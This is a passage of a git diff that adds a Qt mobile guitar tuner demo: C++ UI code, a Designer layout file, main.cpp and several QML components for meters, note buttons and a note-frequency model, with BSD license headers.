+ ui->soundSlider->setValue(m_outputVolumeLevel*100);
+ ui->soundButton->setDisabled(false);
+ ui->micSensitivityLabel->hide();
+ ui->soundButton->show();
+ emit modeChanged(false);
+ ui->modeButton->setText("To listen mode");
+ }
+}
+
+/**
+ * Receives the low voice signal.
+ */
+void GuitarTunerUI::lowVoice()
+{
+ if (ui->noteLabel->font().bold()) {
+ QFont font;
+ font.setBold(false);
+ font.setUnderline(false);
+ ui->noteLabel->setFont(font);
+ }
+}
+
+/**
+ * Receives the voice difference signal.
+ * The difference is qreal, where increase of 1 corresponds
+ * to increase of 1 tone to the target frequency.
+ */
+void GuitarTunerUI::voiceDifference(qreal difference)
+{
+ if (ui->noteLabel->font().bold()) {
+ QFont font;
+ font.setBold(false);
+ font.setUnderline(false);
+ ui->noteLabel->setFont(font);
+ }
+ ui->correctSoundSlider->setValue(difference*m_maximumPrecision);
+}
+
+/**
+ * Receives the correct frequency signal.
+ * Makes the UI to visualize correct frequency event.
+ */
+void GuitarTunerUI::correctFrequencyObtained()
+{
+ qDebug() << "CORRECT FREQUENCY";
+ QFont font;
+ font.setBold(true);
+ font.setUnderline(true);
+ ui->noteLabel->setFont(font);
+}
+
+/**
+ * Sets up the maximum voice difference.
+ */
+void GuitarTunerUI::setMaximumVoiceDifference(int max)
+{
+ // Assert that the maximum precision is known.
+ Q_ASSERT(m_maximumPrecision != 0);
+ // Set the maximum and minimum values of the correctSoundSlider
+ // to the +- max*m_maximumPrecision, and set the tick interval
+ // to be m_maximumPrecision.
+ ui->correctSoundSlider->setMaximum(max*m_maximumPrecision);
+ ui->correctSoundSlider->setMinimum(-max*m_maximumPrecision);
+ ui->correctSoundSlider->setTickInterval(max*m_maximumPrecision);
+}
+
+/**
+ * Stores the maximum precision per note. Used to setup the
+ * correct sound slider.
+ */
+void GuitarTunerUI::setMaximumPrecisionPerNote(int max)
+{
+ m_maximumPrecision = max;
+}
+
+/**
+ * Changes the tone to the next value.
+ */
+void GuitarTunerUI::next()
+{
+ changeTone((m_currentToneIndex + 1) % 6);
+}
+
+/**
+ * Changes the tone to the previous value.
+ */
+void GuitarTunerUI::prev()
+{
+ changeTone((m_currentToneIndex + 5) % 6);
+}
+
+/**
+ * Changes the tone according to the new index.
+ */
+void GuitarTunerUI::changeTone(int newIndex)
+{
+ m_currentToneIndex = newIndex;
+ updateFrequencyByToneIndex(m_currentToneIndex);
+ qDebug() << "targetFrequencyChanged" << m_currentToneFrequency;
+ emit targetFrequencyChanged(m_currentToneFrequency);
+}
diff --git a/demos/mobile/guitartuner/src/guitartunerui.h b/demos/mobile/guitartuner/src/guitartunerui.h
new file mode 100644
index 00000000..79c92e3e
--- /dev/null
+++ b/demos/mobile/guitartuner/src/guitartunerui.h
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef GUITARTUNERUI_H
+#define GUITARTUNERUI_H
+
+#include <QWidget>
+#include <QDebug>
+
+namespace Ui {
+ class GuitarTunerUI;
+}
+
+const qreal FrequencyE = 82.407;
+const qreal FrequencyA = 110.00;
+const qreal FrequencyD = 146.83;
+const qreal FrequencyG = 196.00;
+const qreal FrequencyB = 246.94;
+const qreal FrequencyE2 = 329.63;
+
+class GuitarTunerUI : public QWidget
+{
+ Q_OBJECT
+
+public:
+ explicit GuitarTunerUI(QWidget *parent = 0);
+ ~GuitarTunerUI();
+
+ qreal getVolume() const;
+ bool getMuteState() const;
+ qreal getMicrophoneSensitivity() const;
+ bool isInputModeActive() const;
+ qreal getFrequency() const;
+ int getScaleMaximumValue() const;
+ void setMaximumVoiceDifference(int max);
+ void setMaximumPrecisionPerNote(int max);
+
+public slots:
+ void toggleSound(bool off);
+ void next();
+ void prev();
+ void changeVolume();
+ void toggleInputOrOutput();
+
+ void lowVoice();
+ void voiceDifference(qreal difference);
+ void correctFrequencyObtained();
+
+signals:
+ void modeChanged(bool isInput);
+ void volumeChanged(qreal volume);
+ void microphoneSensitivityChanged(qreal sensitivity);
+ void muteChanged(bool isMuted);
+ void targetFrequencyChanged(qreal targetFrequency);
+
+protected:
+ void changeEvent(QEvent *e);
+
+private:
+ Ui::GuitarTunerUI *ui;
+ void changeTone(int newIndex);
+ qreal getVolumeFromSoundSlider() const;
+ int m_currentToneIndex;
+ QString m_currentToneString;
+ qreal m_currentToneFrequency;
+ void updateFrequencyByToneIndex(int index);
+ bool m_outputActive;
+ bool m_muted;
+ qreal m_outputVolumeLevel;
+ qreal m_inputVolumeLevel;
+ int m_maximumPrecision;
+};
+
+#endif // GUITARTUNERUI_H
diff --git a/demos/mobile/guitartuner/src/guitartunerui.ui b/demos/mobile/guitartuner/src/guitartunerui.ui
new file mode 100644
index 00000000..af7b585b
--- /dev/null
+++ b/demos/mobile/guitartuner/src/guitartunerui.ui
@@ -0,0 +1,178 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>GuitarTunerUI</class>
+ <widget class="QWidget" name="GuitarTunerUI">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>187</width>
+ <height>279</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string>GuitarTunerUI</string>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout_2">
+ <item>
+ <widget class="QLabel" name="tabulatorIcon">
+ <property name="text">
+ <string notr="true"/>
+ </property>
+ <property name="pixmap">
+ <pixmap resource="../GuitarTuner.qrc">:/images/guitartab.svg</pixmap>
+ </property>
+ <property name="alignment">
+ <set>Qt::AlignCenter</set>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QSlider" name="correctSoundSlider">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="autoFillBackground">
+ <bool>false</bool>
+ </property>
+ <property name="minimum">
+ <number>-50</number>
+ </property>
+ <property name="maximum">
+ <number>50</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="tickPosition">
+ <enum>QSlider::TicksAbove</enum>
+ </property>
+ <property name="tickInterval">
+ <number>50</number>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <item>
+ <widget class="QToolButton" name="buttonPrev">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Preferred" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>...</string>
+ </property>
+ <property name="arrowType">
+ <enum>Qt::LeftArrow</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="noteLabel">
+ <property name="text">
+ <string>A</string>
+ </property>
+ <property name="alignment">
+ <set>Qt::AlignCenter</set>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="buttonNext">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Preferred" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>...</string>
+ </property>
+ <property name="autoRaise">
+ <bool>false</bool>
+ </property>
+ <property name="arrowType">
+ <enum>Qt::RightArrow</enum>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <widget class="QPushButton" name="modeButton">
+ <property name="text">
+ <string>Change mode</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="Line" name="line">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <item>
+ <widget class="QSlider" name="soundSlider">
+ <property name="value">
+ <number>65</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="soundButton">
+ <property name="text">
+ <string>...</string>
+ </property>
+ <property name="icon">
+ <iconset resource="../GuitarTuner.qrc">
+ <normaloff>:/images/note.svg</normaloff>
+ <normalon>:/images/noteNo.svg</normalon>
+ <activeon>:/images/noteNo.svg</activeon>:/images/note.svg</iconset>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>30</width>
+ <height>30</height>
+ </size>
+ </property>
+ <property name="checkable">
+ <bool>true</bool>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="micSensitivityLabel">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Fixed" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>microphone
+sensitivity</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ </layout>
+ </widget>
+ <layoutdefault spacing="6" margin="11"/>
+ <resources>
+ <include location="../GuitarTuner.qrc"/>
+ </resources>
+ <connections/>
+</ui>
diff --git a/demos/mobile/guitartuner/src/main.cpp b/demos/mobile/guitartuner/src/main.cpp
new file mode 100644
index 00000000..7ddd1f78
--- /dev/null
+++ b/demos/mobile/guitartuner/src/main.cpp
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "guitartuner.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication a(argc, argv);
+ GuitarTuner w;
+ w.setOrientation(GuitarTuner::LockPortrait);
+
+#ifdef Q_OS_SYMBIAN
+ w.showFullScreen();
+#elif defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+ w.showMaximized();
+#else
+ w.show();
+#endif
+
+ return a.exec();
+}
+
diff --git a/demos/mobile/guitartuner/src/mycomponents/Adjuster.qml b/demos/mobile/guitartuner/src/mycomponents/Adjuster.qml
new file mode 100644
index 00000000..e5e67eb8
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/Adjuster.qml
@@ -0,0 +1,131 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "adjustbars.js" as AdjustBars
+
+/* A barchart-like adjuster component. */
+Rectangle {
+ id: adjuster
+
+ property real max: 100
+ property real value: 0
+ property bool created: false
+
+ signal valueChanged(real value)
+ signal focusChangedByClick()
+ signal arrowPressedWhenValueOverLimits()
+
+ function setValue(pValue) {
+ value = pValue;
+ AdjustBars.fillBars(value/max*AdjustBars.maxBars);
+ valueChanged(value);
+ }
+
+ height: 60; width: 300
+ color: "transparent"
+ Keys.onRightPressed: {
+ var val = value+max/AdjustBars.maxBars;
+ if (val <= max) {
+ value = val;
+ AdjustBars.fillBars(value/max*AdjustBars.maxBars);
+ valueChanged(value);
+ }
+ else {
+ arrowPressedWhenValueOverLimits()
+ }
+ }
+ Keys.onLeftPressed: {
+ var val = value-max/AdjustBars.maxBars;
+ if (0 <= val) {
+ value = val;
+ AdjustBars.fillBars(value/max*AdjustBars.maxBars);
+ valueChanged(value);
+ }
+ else {
+ arrowPressedWhenValueOverLimits()
+ }
+ }
+ Component.onCompleted: {
+ AdjustBars.createBars();
+ AdjustBars.fillBars(value/max*AdjustBars.maxBars);
+ created = true;
+ }
+ Component.onDestruction: {
+ AdjustBars.destroyBars;
+ }
+ //Dynamic objects have to be recreated when the window size changes.
+ onWidthChanged: {
+ if (created) {
+ AdjustBars.destroyBars();
+ AdjustBars.createBars();
+ AdjustBars.fillBars(value/max*AdjustBars.maxBars);
+ }
+ }
+ onHeightChanged: {
+ if (created) {
+ AdjustBars.destroyBars();
+ AdjustBars.createBars();
+ AdjustBars.fillBars(value/max*AdjustBars.maxBars);
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onPositionChanged: {
+ focusChangedByClick();
+ var val = mouse.x/parent.width*parent.max;
+ if (0 < val && val < max) {
+ parent.value = val;
+ AdjustBars.fillBars(parent.value/parent.max*AdjustBars.maxBars);
+ valueChanged(parent.value);
+ }
+ }
+ onClicked: {
+ focusChangedByClick();
+ var val = mouse.x/parent.width*parent.max;
+ if (0 < val && val < max) {
+ parent.value = val;
+ AdjustBars.fillBars(parent.value/parent.max*AdjustBars.maxBars);
+ valueChanged(parent.value);
+ }
+ }
+ }
+}
diff --git a/demos/mobile/guitartuner/src/mycomponents/Meter.qml b/demos/mobile/guitartuner/src/mycomponents/Meter.qml
new file mode 100644
index 00000000..1b175493
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/Meter.qml
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+/* A meter component. */
+Rectangle {
+ id: meter
+
+ property real value: 0
+ property real minValue: -1
+ property real maxValue: 1
+ property alias imageSize: meterImage.sourceSize
+
+ function valueChanged(pValue) {
+ value = pValue;
+ scaleValueToAngle();
+ }
+ function scaleValueToAngle() {
+ pointer.angle = (((value-minValue)/(maxValue-minValue))*
+ (pointer.angleMax-pointer.angleMin))+
+ pointer.angleMin;
+ }
+
+ color: "transparent"
+
+ Image {
+ id: meterImage
+
+ smooth: true
+ source: "./images/meterBG.png"
+ anchors.fill: parent
+ }
+
+ Image {
+ id:pointerShadow
+
+ x: pointer.x - 2
+ y: pointer.y - 2
+ height: pointer.height
+ smooth: true
+ source: "./images/pointerShadow.png"
+ transform: Rotation {
+ origin.x: 2
+ origin.y: height
+ angle: -pointer.angle
+ }
+ }
+
+ Image {
+ id: pointer
+
+ property real angle: 0
+ property real angleMax: -45
+ property real angleMin: 45
+
+ height: parent.height*0.92
+ transformOrigin: "Bottom"
+ rotation: -angle
+ smooth: true
+ source: "./images/pointer.png"
+ anchors {
+ bottomMargin: 2
+ bottom: parent.bottom;
+ horizontalCenter: parent.horizontalCenter
+ }
+
+ Behavior on angle {
+ SpringAnimation {
+ spring: 1.4
+ damping: 0.15
+ }
+ }
+ }
+}
diff --git a/demos/mobile/guitartuner/src/mycomponents/NoteButtonView.qml b/demos/mobile/guitartuner/src/mycomponents/NoteButtonView.qml
new file mode 100644
index 00000000..04a78dd4
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/NoteButtonView.qml
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+/* A view component for buttons for choosing notes. */
+ListView {
+ id: noteChooser
+
+ property real currentFrequency: 82.407
+
+ signal noteSelected(string note, real frequency, int index)
+
+ //Press down the button corresponding to the given note.
+ function pushButton(index) {
+ currentIndex = index;
+ }
+
+ width: 50*model.count + spacing*(model.count-1); height: 50
+ orientation: ListView.Horizontal
+ model: NotesModel {}
+ delegate: notesDelegate
+ keyNavigationWraps: true
+ boundsBehavior: Flickable.StopAtBounds
+
+ Component {
+ id: notesDelegate
+
+ ToggleButton {
+ id: noteButton
+
+ width: height; height: noteChooser.height
+ offImageSource: offSource
+ onImageSource: onSource
+ state: noteButton.ListView.isCurrentItem ? "pressed" : "unPressed"
+ onSelected: {
+ noteChooser.noteSelected(note, frequency, index)
+ if (note != "Auto") {
+ currentFrequency = frequency
+ }
+ }
+ onPushed: {
+ noteButton.ListView.view.currentIndex = index
+ }
+ }
+ }
+}
diff --git a/demos/mobile/guitartuner/src/mycomponents/NotesModel.qml b/demos/mobile/guitartuner/src/mycomponents/NotesModel.qml
new file mode 100644
index 00000000..1aecc051
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/NotesModel.qml
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+/* The model component for the NoteButtonView. */
+ListModel {
+ ListElement {
+ note: "E"
+ offSource: "./images/tuner_e.png"
+ onSource: "./images/tuner_e_on.png"
+ bigSource: "./mycomponents/images/big_e.png"
+ glowSource: "./mycomponents/images/glowing_e.png"
+ frequency: "82.407"
+ interval: "5"
+ }
+ ListElement {
+ note: "A"
+ offSource: "./images/tuner_a.png"
+ onSource: "./images/tuner_a_on.png"
+ bigSource: "./mycomponents/images/big_a.png"
+ glowSource: "./mycomponents/images/glowing_a.png"
+ frequency: "110.00"
+ interval: "5"
+ }
+ ListElement {
+ note: "D"
+ offSource: "./images/tuner_d.png"
+ onSource: "./images/tuner_d_on.png"
+ bigSource: "./mycomponents/images/big_d.png"
+ glowSource: "./mycomponents/images/glowing_d.png"
+ frequency: "146.83"
+ interval: "5"
+ }
+ ListElement {
+ note: "G"
+ offSource: "./images/tuner_g.png"
+ onSource: "./images/tuner_g_on.png"
+ bigSource: "./mycomponents/images/big_g.png"
+ glowSource: "./mycomponents/images/glowing_g.png"
+ frequency: "196.00"
+ interval: "4"
+ }
+ ListElement {
+ note: "B"
+ offSource: "./images/tuner_b.png"
+ onSource: "./images/tuner_b_on.png"
+ bigSource: "./mycomponents/images/big_b.png"
+ glowSource: "./mycomponents/images/glowing_b.png"
+ frequency: "246.94"
+ interval: "5"
+ }
+ ListElement {
+ note: "e"
+ offSource: "./images/tuner_e.png"
+ onSource: "./images/tuner_e_on.png"
+ bigSource: "./mycomponents/images/big_e.png"
+ glowSource: "./mycomponents/images/glowing_e.png"
+ frequency: "329.63"
+ interval: "9999" //Big enough that we can't move over this note
+ }
+ ListElement {
+ note: "Auto"
+ offSource: "./images/tuner_auto.png"
+ onSource: "./images/tuner_auto_on.png"
+ frequency: "82.407"
+ }
+}
diff --git a/demos/mobile/guitartuner/src/mycomponents/ToggleButton.qml b/demos/mobile/guitartuner/src/mycomponents/ToggleButton.qml
new file mode 100644
index 00000000..de46b9f0
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/ToggleButton.qml
@@ -0,0 +1,110 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
